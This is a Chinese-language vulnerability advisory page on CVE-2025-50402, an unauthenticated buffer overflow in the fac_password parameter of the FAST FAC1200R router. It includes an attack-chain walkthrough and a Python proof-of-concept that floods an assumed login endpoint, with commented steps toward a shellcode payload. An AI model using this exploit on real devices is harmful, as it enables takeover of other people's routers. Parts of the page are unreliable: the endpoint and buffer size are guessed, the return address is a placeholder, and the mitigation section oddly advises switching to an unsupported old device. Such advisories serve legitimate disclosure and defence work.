IPBUF安全漏洞报告
English
CVE-2025-50402 CVSS 9.8 严重

CVE-2025-50402 FAST FAC1200R路由器 fac_password参数缓冲区溢出漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-50402
漏洞类型
缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FAST FAC1200R F400_FAC1200R_Q

相关标签

缓冲区溢出远程代码执行路由器漏洞IoT安全CVE-2025-50402FAST FAC1200R无需认证网络设备

漏洞概述

CVE-2025-50402是影响FAST FAC1200R F400_FAC1200R_Q路由器固件的高危缓冲区溢出漏洞。该漏洞存在于固件中的sub_80435780函数,当处理fac_password参数时未对输入数据进行充分的边界检查,导致攻击者可以通过构造超长字符串触发缓冲区溢出。攻击者无需认证即可通过发送恶意请求利用此漏洞,可能实现远程代码执行(RCE)或造成设备拒绝服务。由于该漏洞CVSS评分高达9.8分,属于严重级别,对互联网公开的路由器设备构成重大威胁。攻击者可利用此漏洞完全控制受影响设备,窃取敏感信息或将其纳入僵尸网络。

技术细节

该漏洞为典型的栈缓冲区溢出问题。在固件函数sub_80435780中,程序使用fac_password参数直接复制数据到固定大小的缓冲区,但未验证输入长度是否在缓冲区容量范围内。当攻击者向路由器发送包含超长fac_password字段的HTTP请求时,溢出的数据会覆盖栈上的返回地址和相邻变量。攻击者精心构造的溢出数据可以劫持程序执行流程,绕过安全检查后跳转到恶意代码地址。由于fac_password参数通过Web界面或API传递时未经过长度校验,攻击者可以在无需任何认证的情况下远程触发此漏洞。成功利用后可获得设备的最高权限shell。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标路由器型号为FAST FAC1200R F400_FAC1200R_Q,确认Web管理界面可访问
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长fac_password参数的HTTP POST请求,payload长度超过缓冲区容量
STEP 3
步骤3: 触发溢出
向路由器发送恶意请求,固件函数sub_80435780处理fac_password时发生缓冲区溢出
STEP 4
步骤4: 控制流劫持
溢出数据覆盖栈上的返回地址,攻击者控制程序跳转到精心构造的shellcode
STEP 5
步骤5: 远程代码执行
攻击者成功执行任意代码,获得设备root权限,实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-50402 PoC - Buffer Overflow in FAST FAC1200R fac_password # Target: FAST FAC1200R F400_FAC1200R_Q router # Vulnerability: Buffer overflow in sub_80435780 via fac_password parameter target_ip = "192.168.1.1" # Router IP target_port = 80 # Generate payload with excessive length to trigger overflow # The buffer size is typically around 256-512 bytes password_length = 1024 # Adjust based on target overflow_payload = "A" * password_length # Target endpoint for password parameter (typical router web interface) url = f"http://{target_ip}:{target_port}/cgi-bin/login.cgi" # Construct the malicious request data = { "fac_password": overflow_payload, "username": "admin" } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {password_length} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent - check for crash or shell access") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # For RCE, replace 'A' * password_length with: # return_address = p32(0x08048484) # Address of shellcode # nop_sled = "\x90" * 100 # shellcode = "\xcc" * 50 # Placeholder shellcode # overflow_payload = nop_sled + shellcode + return_address * (password_length // 4)

影响范围

FAST FAC1200R F400_FAC1200R_Q (固件版本未明确)
FAST FAC1200R 全系列使用相同固件代码的版本

防御指南

临时缓解措施
立即在边界防火墙上阻断对路由器管理界面的外部访问,仅允许受信任的内部网络访问。同时联系FAST厂商获取安全更新,在补丁发布前可通过ACL限制管理端口(80/443)的访问来源。建议将设备更换为已停止支持的老旧设备,并密切监控设备日志以发现潜在的攻击迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表